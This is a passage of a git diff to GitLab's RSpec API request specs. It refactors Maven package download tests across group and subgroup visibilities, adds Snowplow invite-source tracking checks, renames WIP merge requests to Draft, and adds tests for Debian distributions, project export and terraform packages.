- subject { download_file(file_name: package_file.file_name) }
+ context 'a public project' do
+ subject { download_file(file_name: package_file.file_name) }
+ shared_examples 'getting a file for a group' do
it_behaves_like 'tracking the file download event'
it 'returns the file' do
@@ -381,14 +431,18 @@ RSpec.describe API::MavenPackages do
end
end
- context 'internal project' do
- before do
- group.group_member(user).destroy!
- project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
- end
+ it_behaves_like 'handling groups and subgroups for', 'getting a file for a group'
+ end
+
+ context 'internal project' do
+ before do
+ group.group_member(user).destroy!
+ project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
+ end
- subject { download_file_with_token(file_name: package_file.file_name) }
+ subject { download_file_with_token(file_name: package_file.file_name) }
+ shared_examples 'getting a file for a group' do
it_behaves_like 'tracking the file download event'
it 'returns the file' do
@@ -415,13 +469,17 @@ RSpec.describe API::MavenPackages do
end
end
- context 'private project' do
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
- end
+ it_behaves_like 'handling groups and subgroups for', 'getting a file for a group', visibilities: %i[internal public]
+ end
- subject { download_file_with_token(file_name: package_file.file_name) }
+ context 'private project' do
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
+
+ subject { download_file_with_token(file_name: package_file.file_name) }
+ shared_examples 'getting a file for a group' do
it_behaves_like 'tracking the file download event'
it 'returns the file' do
@@ -480,101 +538,87 @@ RSpec.describe API::MavenPackages do
it_behaves_like 'rejecting the request for non existing maven path'
end
end
+ end
- context 'with a reporter from a subgroup accessing the root group' do
- let_it_be(:root_group) { create(:group, :private) }
- let_it_be(:group) { create(:group, :private, parent: root_group) }
+ it_behaves_like 'handling groups and subgroups for', 'getting a file for a group', visibilities: %i[private internal public]
- subject { download_file_with_token(file_name: package_file.file_name, request_headers: headers_with_token, group_id: root_group.id) }
+ context 'with a reporter from a subgroup accessing the root group' do
+ let_it_be(:root_group) { create(:group, :private) }
+ let_it_be(:group) { create(:group, :private, parent: root_group) }
- before do
- project.update!(namespace: group)
- group.add_reporter(user)
- end
+ subject { download_file_with_token(file_name: package_file.file_name, request_headers: headers_with_token, group_id: root_group.id) }
- it 'returns the file' do
- subject
+ before do
+ project.update!(namespace: group)
+ group.add_reporter(user)
+ end
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ it 'returns the file' do
+ subject
- context 'with a non existing maven path' do
- subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3', request_headers: headers_with_token, group_id: root_group.id) }
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
- it_behaves_like 'rejecting the request for non existing maven path'
- end
+ context 'with a non existing maven path' do
+ subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3', request_headers: headers_with_token, group_id: root_group.id) }
+
+ it_behaves_like 'rejecting the request for non existing maven path'
end
end
+ end
- context 'maven metadata file' do
- let_it_be(:sub_group1) { create(:group, parent: group) }
- let_it_be(:sub_group2) { create(:group, parent: group) }
- let_it_be(:project1) { create(:project, :private, group: sub_group1) }
- let_it_be(:project2) { create(:project, :private, group: sub_group2) }
- let_it_be(:project3) { create(:project, :private, group: sub_group1) }
- let_it_be(:package_name) { 'foo' }
- let_it_be(:package1) { create(:maven_package, project: project1, name: package_name, version: nil) }
- let_it_be(:package_file1) { create(:package_file, :xml, package: package1, file_name: 'maven-metadata.xml') }
- let_it_be(:package2) { create(:maven_package, project: project2, name: package_name, version: nil) }
- let_it_be(:package_file2) { create(:package_file, :xml, package: package2, file_name: 'maven-metadata.xml') }
- let_it_be(:package3) { create(:maven_package, project: project3, name: package_name, version: nil) }
- let_it_be(:package_file3) { create(:package_file, :xml, package: package3, file_name: 'maven-metadata.xml') }
+ context 'maven metadata file' do
+ let_it_be(:sub_group1) { create(:group, parent: group) }
+ let_it_be(:sub_group2) { create(:group, parent: group) }
+ let_it_be(:project1) { create(:project, :private, group: sub_group1) }
+ let_it_be(:project2) { create(:project, :private, group: sub_group2) }
+ let_it_be(:project3) { create(:project, :private, group: sub_group1) }
+ let_it_be(:package_name) { 'foo' }
+ let_it_be(:package1) { create(:maven_package, project: project1, name: package_name, version: nil) }
+ let_it_be(:package_file1) { create(:package_file, :xml, package: package1, file_name: 'maven-metadata.xml') }
+ let_it_be(:package2) { create(:maven_package, project: project2, name: package_name, version: nil) }
+ let_it_be(:package_file2) { create(:package_file, :xml, package: package2, file_name: 'maven-metadata.xml') }
+ let_it_be(:package3) { create(:maven_package, project: project3, name: package_name, version: nil) }
+ let_it_be(:package_file3) { create(:package_file, :xml, package: package3, file_name: 'maven-metadata.xml') }
- let(:maven_metadatum) { package3.maven_metadatum }
+ let(:maven_metadatum) { package3.maven_metadatum }
- subject { download_file_with_token(file_name: package_file3.file_name) }
+ subject { download_file_with_token(file_name: package_file3.file_name) }
- before do
- sub_group1.add_developer(user)
- sub_group2.add_developer(user)
- # the package with the most recently published file should be returned
- create(:package_file, :xml, package: package2)
- end
+ before do
+ sub_group1.add_developer(user)
+ sub_group2.add_developer(user)
+ # the package with the most recently published file should be returned
+ create(:package_file, :xml, package: package2)
+ end
- context 'in multiple versionless packages' do
- it 'downloads the file' do
- expect(::Packages::PackageFileFinder)
- .to receive(:new).with(package2, 'maven-metadata.xml').and_call_original
+ context 'in multiple versionless packages' do
+ it 'downloads the file' do
+ expect(::Packages::PackageFileFinder)
+ .to receive(:new).with(package2, 'maven-metadata.xml').and_call_original
- subject
- end
+ subject
end
+ end
- context 'in multiple snapshot packages' do
- before do
- version = '1.0.0-SNAPSHOT'
- [package1, package2, package3].each do |pkg|
- pkg.update!(version: version)
-
- pkg.maven_metadatum.update!(path: "#{pkg.name}/#{pkg.version}")
- end
- end
-
- it 'downloads the file' do
- expect(::Packages::PackageFileFinder)
- .to receive(:new).with(package3, 'maven-metadata.xml').and_call_original
+ context 'in multiple snapshot packages' do
+ before do
+ version = '1.0.0-SNAPSHOT'
+ [package1, package2, package3].each do |pkg|
+ pkg.update!(version: version)
- subject
+ pkg.maven_metadatum.update!(path: "#{pkg.name}/#{pkg.version}")
end
end
- end
- end
- context 'with check_maven_path_first enabled' do
- before do
- stub_feature_flags(check_maven_path_first: true)
- end
-
- it_behaves_like 'handling all conditions'
- end
+ it 'downloads the file' do
+ expect(::Packages::PackageFileFinder)
+ .to receive(:new).with(package3, 'maven-metadata.xml').and_call_original
- context 'with check_maven_path_first disabled' do
- before do
- stub_feature_flags(check_maven_path_first: false)
+ subject
+ end
end
-
- it_behaves_like 'handling all conditions'
end
def download_file(file_name:, params: {}, request_headers: headers, path: maven_metadatum.path, group_id: group.id)
@@ -595,7 +639,7 @@ RSpec.describe API::MavenPackages do
stub_feature_flags(check_maven_path_first: true)
end
- it_behaves_like 'processing HEAD requests'
+ it_behaves_like 'handling groups and subgroups for', 'processing HEAD requests'
end
context 'with check_maven_path_first disabled' do
@@ -603,95 +647,77 @@ RSpec.describe API::MavenPackages do
stub_feature_flags(check_maven_path_first: false)
end
- it_behaves_like 'processing HEAD requests'
+ it_behaves_like 'handling groups and subgroups for', 'processing HEAD requests'
end
end
describe 'GET /api/v4/projects/:id/packages/maven/*path/:file_name' do
- shared_examples 'handling all conditions' do
- context 'a public project' do
- subject { download_file(file_name: package_file.file_name) }
-
- it_behaves_like 'tracking the file download event'
-
- it 'returns the file' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ context 'a public project' do
+ subject { download_file(file_name: package_file.file_name) }
- it 'returns sha1 of the file' do
- download_file(file_name: package_file.file_name + '.sha1')
+ it_behaves_like 'tracking the file download event'
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('text/plain')
- expect(response.body).to eq(package_file.file_sha1)
- end
-
- context 'with a non existing maven path' do
- subject { download_file(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
+ it 'returns the file' do
+ subject
- it_behaves_like 'rejecting the request for non existing maven path'
- end
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
end
- context 'private project' do
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
- end
+ it 'returns sha1 of the file' do
+ download_file(file_name: package_file.file_name + '.sha1')
- subject { download_file_with_token(file_name: package_file.file_name) }
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('text/plain')
+ expect(response.body).to eq(package_file.file_sha1)
+ end
- it_behaves_like 'tracking the file download event'
+ context 'with a non existing maven path' do
+ subject { download_file(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
- it 'returns the file' do
- subject
+ it_behaves_like 'rejecting the request for non existing maven path'
+ end
+ end
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
+ context 'private project' do
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ end
- it 'denies download when not enough permissions' do
- project.add_guest(user)
+ subject { download_file_with_token(file_name: package_file.file_name) }
- subject
+ it_behaves_like 'tracking the file download event'
- expect(response).to have_gitlab_http_status(:forbidden)
- end
+ it 'returns the file' do
+ subject
- it 'denies download when no private token' do
- download_file(file_name: package_file.file_name)
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response.media_type).to eq('application/octet-stream')
+ end
- expect(response).to have_gitlab_http_status(:not_found)
- end
+ it 'denies download when not enough permissions' do
+ project.add_guest(user)
- it_behaves_like 'downloads with a job token'
+ subject
- it_behaves_like 'downloads with a deploy token'
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
- context 'with a non existing maven path' do
- subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
+ it 'denies download when no private token' do
+ download_file(file_name: package_file.file_name)
- it_behaves_like 'rejecting the request for non existing maven path'
- end
+ expect(response).to have_gitlab_http_status(:not_found)
end
- end
- context 'with check_maven_path_first enabled' do
- before do
- stub_feature_flags(check_maven_path_first: true)
- end
+ it_behaves_like 'downloads with a job token'
- it_behaves_like 'handling all conditions'
- end
+ it_behaves_like 'downloads with a deploy token'
- context 'with check_maven_path_first disabled' do
- before do
- stub_feature_flags(check_maven_path_first: false)
- end
+ context 'with a non existing maven path' do
+ subject { download_file_with_token(file_name: package_file.file_name, path: 'foo/bar/1.2.3') }
- it_behaves_like 'handling all conditions'
+ it_behaves_like 'rejecting the request for non existing maven path'
+ end
end
def download_file(file_name:, params: {}, request_headers: headers, path: maven_metadatum.path)
@@ -1020,4 +1046,10 @@ RSpec.describe API::MavenPackages do
upload_file(params: params, request_headers: request_headers, file_extension: file_extension)
end
end
+
+ def move_project_to_namespace(namespace)
+ project.update!(namespace: namespace)
+ package.update!(name: project.full_path)
+ maven_metadatum.update!(path: "#{package.name}/#{package.version}")
+ end
end
diff --git a/spec/requests/api/members_spec.rb b/spec/requests/api/members_spec.rb
index d488aee0c10..cac1b95e854 100644
--- a/spec/requests/api/members_spec.rb
+++ b/spec/requests/api/members_spec.rb
@@ -255,11 +255,41 @@ RSpec.describe API::Members do
expect(json_response['access_level']).to eq(Member::DEVELOPER)
end
- describe 'executes the Members::CreateService for multiple user_ids' do
+ context 'with invite_source considerations', :snowplow do
+ let(:params) { { user_id: stranger.id, access_level: Member::DEVELOPER } }
+
+ it 'tracks the invite source as api' do
+ post api("/#{source_type.pluralize}/#{source.id}/members", maintainer),
+ params: params
+
+ expect_snowplow_event(
+ category: 'Members::CreateService',
+ action: 'create_member',
+ label: 'members-api',
+ property: 'existing_user',
+ user: maintainer
+ )
+ end
+
+ it 'tracks the invite source from params' do
+ post api("/#{source_type.pluralize}/#{source.id}/members", maintainer),
+ params: params.merge(invite_source: '_invite_source_')
+
+ expect_snowplow_event(
+ category: 'Members::CreateService',
+ action: 'create_member',
+ label: '_invite_source_',
+ property: 'existing_user',
+ user: maintainer
+ )
+ end
+ end
+
+ context 'when executing the Members::CreateService for multiple user_ids' do
+ let(:user_ids) { [stranger.id, access_requester.id].join(',') }
+
it 'returns success when it successfully create all members' do
expect do
- user_ids = [stranger.id, access_requester.id].join(',')
-
post api("/#{source_type.pluralize}/#{source.id}/members", maintainer),
params: { user_id: user_ids, access_level: Member::DEVELOPER }
@@ -270,8 +300,6 @@ RSpec.describe API::Members do
it 'returns the error message if there was an error adding members to group' do
error_message = 'Unable to find User ID'
- user_ids = [stranger.id, access_requester.id].join(',')
-
allow_next_instance_of(::Members::CreateService) do |service|
expect(service).to receive(:execute).and_return({ status: :error, message: error_message })
end
@@ -283,6 +311,36 @@ RSpec.describe API::Members do
expect(json_response['status']).to eq('error')
expect(json_response['message']).to eq(error_message)
end
+
+ context 'with invite_source considerations', :snowplow do
+ let(:params) { { user_id: user_ids, access_level: Member::DEVELOPER } }
+
+ it 'tracks the invite source as api' do
+ post api("/#{source_type.pluralize}/#{source.id}/members", maintainer),
+ params: params
+
+ expect_snowplow_event(
+ category: 'Members::CreateService',
+ action: 'create_member',
+ label: 'members-api',
+ property: 'existing_user',
+ user: maintainer
+ )
+ end
+
+ it 'tracks the invite source from params' do
+ post api("/#{source_type.pluralize}/#{source.id}/members", maintainer),
+ params: params.merge(invite_source: '_invite_source_')
+
+ expect_snowplow_event(
+ category: 'Members::CreateService',
+ action: 'create_member',
+ label: '_invite_source_',
+ property: 'existing_user',
+ user: maintainer
+ )
+ end
+ end
end
end
diff --git a/spec/requests/api/merge_requests_spec.rb b/spec/requests/api/merge_requests_spec.rb
index a13db1bb414..038c3bc552a 100644
--- a/spec/requests/api/merge_requests_spec.rb
+++ b/spec/requests/api/merge_requests_spec.rb
@@ -1186,7 +1186,8 @@ RSpec.describe API::MergeRequests do
expect(json_response['downvotes']).to eq(1)
expect(json_response['source_project_id']).to eq(merge_request.source_project.id)
expect(json_response['target_project_id']).to eq(merge_request.target_project.id)
- expect(json_response['work_in_progress']).to be_falsy
+ expect(json_response['draft']).to be false
+ expect(json_response['work_in_progress']).to be false
expect(json_response['merge_when_pipeline_succeeds']).to be_falsy
expect(json_response['merge_status']).to eq('can_be_merged')
expect(json_response['should_close_merge_request']).to be_falsy
@@ -1329,29 +1330,30 @@ RSpec.describe API::MergeRequests do
expect(response).to have_gitlab_http_status(:not_found)
end
- context 'Work in Progress' do
- let!(:merge_request_wip) do
+ context 'Draft' do
+ let!(:merge_request_draft) do
create(:merge_request,
author: user,
assignees: [user],
source_project: project,
target_project: project,
- title: "WIP: Test",
+ title: "Draft: Test",
created_at: base_time + 1.second
)
end
it "returns merge request" do
- get api("/projects/#{project.id}/merge_requests/#{merge_request_wip.iid}", user)
+ get api("/projects/#{project.id}/merge_requests/#{merge_request_draft.iid}", user)
expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['draft']).to eq(true)
expect(json_response['work_in_progress']).to eq(true)
end
end
context 'when a merge request has more than the changes limit' do
it "returns a string indicating that more changes were made" do
- allow(Commit).to receive(:diff_hard_limit_files).and_return(5)
+ allow(Commit).to receive(:diff_max_files).and_return(5)
merge_request_overflow = create(:merge_request, :simple,
author: user,
@@ -2174,6 +2176,12 @@ RSpec.describe API::MergeRequests do
a_hash_including('name' => user2.name)
)
end
+
+ it 'creates appropriate system notes', :sidekiq_inline do
+ put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user), params: params
+
+ expect(merge_request.notes.system.last.note).to include("assigned to #{user2.to_reference}")
+ end
end
context 'when assignee_id=user2.id' do
@@ -2193,6 +2201,27 @@ RSpec.describe API::MergeRequests do
end
end
+ context 'when assignee_id=0' do
+ let(:params) do
+ {
+ assignee_id: 0
+ }
+ end
+
+ it 'clears the assignees' do
+ put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user), params: params
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['assignees']).to be_empty
+ end
+
+ it 'creates appropriate system notes', :sidekiq_inline do
+ put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user), params: params
+
+ expect(merge_request.notes.system.last.note).to include("unassigned #{user.to_reference}")
+ end
+ end
+
context 'when only assignee_ids are provided, and the list is empty' do
let(:params) do
{
@@ -2495,8 +2524,8 @@ RSpec.describe API::MergeRequests do
expect(json_response['message']).to eq('405 Method Not Allowed')
end
- it "returns 405 if merge_request is a work in progress" do
- merge_request.update_attribute(:title, "WIP: #{merge_request.title}")
+ it "returns 405 if merge_request is a draft" do
+ merge_request.update_attribute(:title, "Draft: #{merge_request.title}")
put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}/merge", user)
expect(response).to have_gitlab_http_status(:method_not_allowed)
expect(json_response['message']).to eq('405 Method Not Allowed')
diff --git a/spec/requests/api/npm_project_packages_spec.rb b/spec/requests/api/npm_project_packages_spec.rb
index 10271719a15..ab74da4bda4 100644
--- a/spec/requests/api/npm_project_packages_spec.rb
+++ b/spec/requests/api/npm_project_packages_spec.rb
@@ -71,12 +71,14 @@ RSpec.describe API::NpmProjectPackages do
end
context 'a public project' do
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
+
it_behaves_like 'successfully downloads the file'
it_behaves_like 'a package tracking event', 'API::NpmPackages', 'pull_package'
context 'with a job token for a different user' do
let_it_be(:other_user) { create(:user) }
- let_it_be_with_reload(:other_job) { create(:ci_build, :running, user: other_user) }
+ let_it_be_with_reload(:other_job) { create(:ci_build, :running, user: other_user, project: project) }
let(:headers) { build_token_auth_header(other_job.token) }
@@ -161,6 +163,7 @@ RSpec.describe API::NpmProjectPackages do
context 'valid package record' do
let(:params) { upload_params(package_name: package_name) }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: user } }
shared_examples 'handling upload with different authentications' do
context 'with access token' do
diff --git a/spec/requests/api/nuget_group_packages_spec.rb b/spec/requests/api/nuget_group_packages_spec.rb
index aefbc89dc3b..1b71f0f9de1 100644
--- a/spec/requests/api/nuget_group_packages_spec.rb
+++ b/spec/requests/api/nuget_group_packages_spec.rb
@@ -46,6 +46,7 @@ RSpec.describe API::NugetGroupPackages do
let_it_be(:group_deploy_token) { create(:group_deploy_token, deploy_token: deploy_token, group: subgroup) }
let(:target) { subgroup }
+ let(:snowplow_gitlab_standard_context) { { namespace: subgroup } }
it_behaves_like 'handling all endpoints'
@@ -57,6 +58,7 @@ RSpec.describe API::NugetGroupPackages do
context 'a group' do
let(:target) { group }
+ let(:snowplow_gitlab_standard_context) { { namespace: group } }
it_behaves_like 'handling all endpoints'
diff --git a/spec/requests/api/nuget_project_packages_spec.rb b/spec/requests/api/nuget_project_packages_spec.rb
index 54fe0b985df..572736cfc86 100644
--- a/spec/requests/api/nuget_project_packages_spec.rb
+++ b/spec/requests/api/nuget_project_packages_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe API::NugetProjectPackages do
describe 'GET /api/v4/projects/:id/packages/nuget' do
it_behaves_like 'handling nuget service requests' do
let(:url) { "/projects/#{target.id}/packages/nuget/index.json" }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
end
end
@@ -34,6 +35,7 @@ RSpec.describe API::NugetProjectPackages do
describe 'GET /api/v4/projects/:id/packages/nuget/query' do
it_behaves_like 'handling nuget search requests' do
let(:url) { "/projects/#{target.id}/packages/nuget/query?#{query_parameters.to_query}" }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
end
end
@@ -121,6 +123,7 @@ RSpec.describe API::NugetProjectPackages do
with_them do
let(:token) { user_token ? personal_access_token.token : 'wrong' }
let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
subject { get api(url), headers: headers }
@@ -189,7 +192,7 @@ RSpec.describe API::NugetProjectPackages do
it_behaves_like 'deploy token for package uploads'
it_behaves_like 'job token for package uploads', authorize_endpoint: true do
- let_it_be(:job) { create(:ci_build, :running, user: user) }
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
end
it_behaves_like 'rejects nuget access with unknown target id'
@@ -244,6 +247,7 @@ RSpec.describe API::NugetProjectPackages do
let(:token) { user_token ? personal_access_token.token : 'wrong' }
let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
let(:headers) { user_headers.merge(workhorse_headers) }
+ let(:snowplow_gitlab_standard_context) { { project: project, user: user, namespace: project.namespace } }
before do
update_visibility_to(Gitlab::VisibilityLevel.const_get(visibility_level, false))
@@ -256,7 +260,7 @@ RSpec.describe API::NugetProjectPackages do
it_behaves_like 'deploy token for package uploads'
it_behaves_like 'job token for package uploads' do
- let_it_be(:job) { create(:ci_build, :running, user: user) }
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
end
it_behaves_like 'rejects nuget access with unknown target id'
diff --git a/spec/requests/api/project_attributes.yml b/spec/requests/api/project_attributes.yml
index d28442bd692..2932447f663 100644
--- a/spec/requests/api/project_attributes.yml
+++ b/spec/requests/api/project_attributes.yml
@@ -69,6 +69,7 @@ itself: # project
- shared_with_groups
- ssh_url_to_repo
- tag_list
+ - topics
- web_url
build_auto_devops: # auto_devops
@@ -86,13 +87,13 @@ ci_cd_settings:
- id
- project_id
- group_runners_enabled
- - keep_latest_artifact
- merge_pipelines_enabled
- merge_trains_enabled
- auto_rollback_enabled
remapped_attributes:
default_git_depth: ci_default_git_depth
forward_deployment_enabled: ci_forward_deployment_enabled
+ job_token_scope_enabled: ci_job_token_scope_enabled
build_import_state: # import_state
unexposed_attributes:
@@ -139,7 +140,6 @@ project_setting:
- project_id
- push_rule_id
- show_default_award_emojis
- - squash_option
- updated_at
- cve_id_request_enabled
- mr_default_target_self
diff --git a/spec/requests/api/project_container_repositories_spec.rb b/spec/requests/api/project_container_repositories_spec.rb
index f3da99573fe..695d2c3fe2c 100644
--- a/spec/requests/api/project_container_repositories_spec.rb
+++ b/spec/requests/api/project_container_repositories_spec.rb
@@ -32,6 +32,8 @@ RSpec.describe API::ProjectContainerRepositories do
let(:method) { :get }
let(:params) { {} }
+ let(:snowplow_gitlab_standard_context) { { user: api_user, project: project, namespace: project.namespace } }
+
before_all do
project.add_maintainer(maintainer)
project.add_developer(developer)
@@ -405,7 +407,7 @@ RSpec.describe API::ProjectContainerRepositories do
subject
expect(response).to have_gitlab_http_status(:ok)
- expect_snowplow_event(category: described_class.name, action: 'delete_tag')
+ expect_snowplow_event(category: described_class.name, action: 'delete_tag', project: project, user: api_user, namespace: project.namespace)
end
end
@@ -421,7 +423,7 @@ RSpec.describe API::ProjectContainerRepositories do
subject
expect(response).to have_gitlab_http_status(:ok)
- expect_snowplow_event(category: described_class.name, action: 'delete_tag')
+ expect_snowplow_event(category: described_class.name, action: 'delete_tag', project: project, user: api_user, namespace: project.namespace)
end
end
end
diff --git a/spec/requests/api/project_debian_distributions_spec.rb b/spec/requests/api/project_debian_distributions_spec.rb
new file mode 100644
index 00000000000..de7362758f7
--- /dev/null
+++ b/spec/requests/api/project_debian_distributions_spec.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe API::ProjectDebianDistributions do
+ include HttpBasicAuthHelpers
+ include WorkhorseHelpers
+
+ include_context 'Debian repository shared context', :project, true do
+ describe 'POST projects/:id/debian_distributions' do
+ let(:method) { :post }
+ let(:url) { "/projects/#{container.id}/debian_distributions" }
+ let(:api_params) { { 'codename': 'my-codename' } }
+
+ it_behaves_like 'Debian repository write endpoint', 'POST distribution request', :created, /^{.*"codename":"my-codename",.*"components":\["main"\],.*"architectures":\["all","amd64"\]/, authenticate_non_public: false
+
+ context 'with invalid parameters' do
+ let(:api_params) { { codename: distribution.codename } }
+
+ it_behaves_like 'Debian repository write endpoint', 'GET request', :bad_request, /^{"message":{"codename":\["has already been taken"\]}}$/, authenticate_non_public: false
+ end
+ end
+
+ describe 'GET projects/:id/debian_distributions' do
+ let(:url) { "/projects/#{container.id}/debian_distributions" }
+
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^\[{.*"codename":"existing-codename\",.*"components":\["existing-component"\],.*"architectures":\["all","existing-arch"\]/, authenticate_non_public: false
+ end
+
+ describe 'GET projects/:id/debian_distributions/:codename' do
+ let(:url) { "/projects/#{container.id}/debian_distributions/#{distribution.codename}" }
+
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^{.*"codename":"existing-codename\",.*"components":\["existing-component"\],.*"architectures":\["all","existing-arch"\]/, authenticate_non_public: false
+ end
+
+ describe 'PUT projects/:id/debian_distributions/:codename' do
+ let(:method) { :put }
+ let(:url) { "/projects/#{container.id}/debian_distributions/#{distribution.codename}" }
+ let(:api_params) { { suite: 'my-suite' } }
+
+ it_behaves_like 'Debian repository write endpoint', 'PUT distribution request', :success, /^{.*"codename":"existing-codename",.*"suite":"my-suite",/, authenticate_non_public: false
+
+ context 'with invalid parameters' do
+ let(:api_params) { { suite: distribution.codename } }
+
+ it_behaves_like 'Debian repository write endpoint', 'GET request', :bad_request, /^{"message":{"suite":\["has already been taken as Codename"\]}}$/, authenticate_non_public: false
+ end
+ end
+
+ describe 'DELETE projects/:id/debian_distributions/:codename' do
+ let(:method) { :delete }
+ let(:url) { "/projects/#{container.id}/debian_distributions/#{distribution.codename}" }
+
+ it_behaves_like 'Debian repository maintainer write endpoint', 'DELETE distribution request', :success, /^{\"message\":\"202 Accepted\"}$/, authenticate_non_public: false
+
+ context 'when destroy fails' do
+ before do
+ allow_next_found_instance_of(::Packages::Debian::ProjectDistribution) do |distribution|
+ expect(distribution).to receive(:destroy).and_return(false)
+ end
+ end
+
+ it_behaves_like 'Debian repository maintainer write endpoint', 'GET request', :bad_request, /^{"message":"Failed to delete distribution"}$/, authenticate_non_public: false
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/project_export_spec.rb b/spec/requests/api/project_export_spec.rb
index ac24aeee52c..06f4475ef79 100644
--- a/spec/requests/api/project_export_spec.rb
+++ b/spec/requests/api/project_export_spec.rb
@@ -196,6 +196,19 @@ RSpec.describe API::ProjectExport, :clean_gitlab_redis_cache do
end
end
+ context 'when export object is not present' do
+ before do
+ project_after_export.export_file.file.delete
+ end
+
+ it 'returns 404' do
+ get api(download_path_export_action, user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('The project export file is not available yet')
+ end
+ end
+
context 'when upload complete' do
before do
project_after_export.remove_exports
diff --git a/spec/requests/api/project_packages_spec.rb b/spec/requests/api/project_packages_spec.rb
index fb1aa65c08d..5886f293f41 100644
--- a/spec/requests/api/project_packages_spec.rb
+++ b/spec/requests/api/project_packages_spec.rb
@@ -40,10 +40,36 @@ RSpec.describe API::ProjectPackages do
context 'with terraform module package' do
let_it_be(:terraform_module_package) { create(:terraform_module_package, project: project) }
- it 'filters out terraform module packages when no package_type filter is set' do
- subject
+ context 'when no package_type filter is set' do
+ let(:params) { {} }
+
+ it 'filters out terraform module packages' do
+ subject
+
+ expect(json_response).not_to include(a_hash_including('package_type' => 'terraform_module'))
+ end
+
+ it 'returns packages with the package registry web_path' do
+ subject
+
+ expect(json_response).to include(a_hash_including('_links' => a_hash_including('web_path' => include('packages'))))
+ end
+ end
+
+ context 'when package_type filter is set to terraform_module' do
+ let(:params) { { package_type: :terraform_module } }
- expect(json_response).not_to include(a_hash_including('package_type' => 'terraform_module'))
+ it 'returns the terraform module package' do
+ subject
+
+ expect(json_response).to include(a_hash_including('package_type' => 'terraform_module'))
+ end
+
+ it 'returns the terraform module package with the infrastructure registry web_path' do
+ subject
+
+ expect(json_response).to include(a_hash_including('_links' => a_hash_including('web_path' => include('infrastructure_registry'))))
+ end
end
end
diff --git a/spec/requests/api/project_repository_storage_moves_spec.rb b/spec/requests/api/project_repository_storage_moves_spec.rb
index b40645ba2de..5b272121233 100644
--- a/spec/requests/api/project_repository_storage_moves_spec.rb
+++ b/spec/requests/api/project_repository_storage_moves_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe API::ProjectRepositoryStorageMoves do
it_behaves_like 'repository_storage_moves API', 'projects' do
- let_it_be(:container) { create(:project, :repository).tap { |project| project.track_project_repository } }
+ let_it_be(:container) { create(:project, :repository) }
let_it_be(:storage_move) { create(:project_repository_storage_move, :scheduled, container: container) }
let(:repository_storage_move_factory) { :project_repository_storage_move }
let(:bulk_worker_klass) { Projects::ScheduleBulkRepositoryShardMovesWorker }
diff --git a/spec/requests/api/project_statistics_spec.rb b/spec/requests/api/project_statistics_spec.rb
index 5f0cac403aa..d314af0746a 100644
--- a/spec/requests/api/project_statistics_spec.rb
+++ b/spec/requests/api/project_statistics_spec.rb
@@ -3,11 +3,11 @@
require 'spec_helper'
RSpec.describe API::ProjectStatistics do
- let_it_be(:developer) { create(:user) }
+ let_it_be(:reporter) { create(:user) }
let_it_be(:public_project) { create(:project, :public) }
before do
- public_project.add_developer(developer)
+ public_project.add_reporter(reporter)
end
describe 'GET /projects/:id/statistics' do
@@ -19,7 +19,7 @@ RSpec.describe API::ProjectStatistics do
let_it_be(:fetch_statistics_other_project) { create(:project_daily_statistic, project: create(:project), fetch_count: 29, date: 29.days.ago) }
it 'returns the fetch statistics of the last 30 days' do
- get api("/projects/#{public_project.id}/statistics", developer)
+ get api("/projects/#{public_project.id}/statistics", reporter)
expect(response).to have_gitlab_http_status(:ok)
fetches = json_response['fetches']
@@ -32,7 +32,7 @@ RSpec.describe API::ProjectStatistics do
it 'excludes the fetch statistics older than 30 days' do
create(:project_daily_statistic, fetch_count: 31, project: public_project, date: 30.days.ago)
- get api("/projects/#{public_project.id}/statistics", developer)
+ get api("/projects/#{public_project.id}/statistics", reporter)
expect(response).to have_gitlab_http_status(:ok)
fetches = json_response['fetches']
